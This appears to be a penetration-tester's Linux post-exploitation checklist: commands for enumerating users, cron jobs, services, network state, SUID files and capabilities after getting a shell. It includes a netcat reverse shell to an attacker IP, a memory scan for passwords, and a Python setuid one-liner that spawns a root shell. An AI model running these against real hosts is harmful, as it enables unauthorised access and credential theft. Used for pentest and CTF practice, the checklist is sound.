If your con­sole is nar­row, widen it at the beginning:

stty rows 50 cols 200

Con­sid­er to direct­ly spawn anoth­er reverse shell:

nc -e /bin/sh $attackerip 4444 &

Basic enu­mer­a­tion about the host

id
groups
cat /etc/passwd
cat /etc/group
cat /etc/hosts
cat /etc/fstab
uname -a // Check for kernel exploits
         // ALSO search for kernel exploits with OS name!
         // If this doesn't work: cat /proc/version
sudo -l // See blog post about details.
su // same password, if known
cat /etc/fstab && lsblk || mount // if there is something to mount, mount it.

Check chron:

cat /etc/crontab
cd /etc/cron.d...
grep "CRON" /var/log/syslog

Look into the home and some oth­er directories:

cd /home && find ...
cd /root
cd /etc/profile.d
cd /opt

See what’s installed:

ps aux // Note all process which run with root permissions (mysql...)
systemctl // shows all services, active and inactive!
systemctl status // hierarchical view of all active services.
dpkg -i // or other, depending the distro

Browse through the logs

• On old sys­tems: Browse throuh the files:
  cd /var/log
• Sytems with systemd: 
  • See all:
    journalctl

Check for files from inter­est­ing users

for user in u1 u2; do
  find / -user $user 2> /dev/null | grep -v \/proc;
  find / -group $user 2> /dev/null | grep -v \/proc; 
 done

If there is only the cur­rent user, use this:

find / -user $user 2> /dev/null | grep -v \/proc;
find / -group $user 2> /dev/null | grep -v \/proc; 

More things to do:

• Search for SSH key files
• Inves­ti­gate user cron files (See here for a list of all pos­si­ble cron files.)
• Inves­ti­gate web serv­er con­fig­u­ra­tion files
• Inves­ti­gate email directories.
• Search for SUID and SGUID files. Note that the minus sign means mask mode.
  find / -perm -2000 -o -perm -4000 -print 2>/dev/null
• Search for world write read­able files:
  find . -perm -o+r
• Search for direc­to­ries you can write into:
  find / -writable -type d 2>/dev/null
• Search for files with­in a time win­dow:
  find / -newermt 2020-01-02 ! -newermt 2020-02-01 2> /dev/null
• Scan the mem­o­ry for pass­words
  strings /dev/mem -n10 | grep -i PASS

Network enumeration

Show net­work configuration

ifconfig
ip a
ss -natup
netstat -tulpen

List open ports. Note them in your list and enu­mer­ate them (maybe via forwarding).

netstat -natup // If you can, use sudo to see all binaries.
netstat -ano

Have a look into the pack­et fil­ter, e.g.

cat /etc/iptables/rules.v4

List active neigh­bour systems

ip neigh
arp -en

Various more unprobably things to try

Check unusu­al capa­bil­i­ties (See the Lin­ux secu­ri­ty fun­da­men­tals post, if found some­thing; For exam­ple, if an inter­preter like Python should have cap_setuid+ep set, then it can change its uid although in a user process. (In this case: python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'))

getcap // try this first. If the binary is not on the system, the following command returns always null :) Sometimes it is in /usr/sbin/getcap
getcap -r / 2>/dev/null

Try to see if AppAr­mor is installed:

aa-status

More things:

debsums | grep -v O
tmux ls
screen -list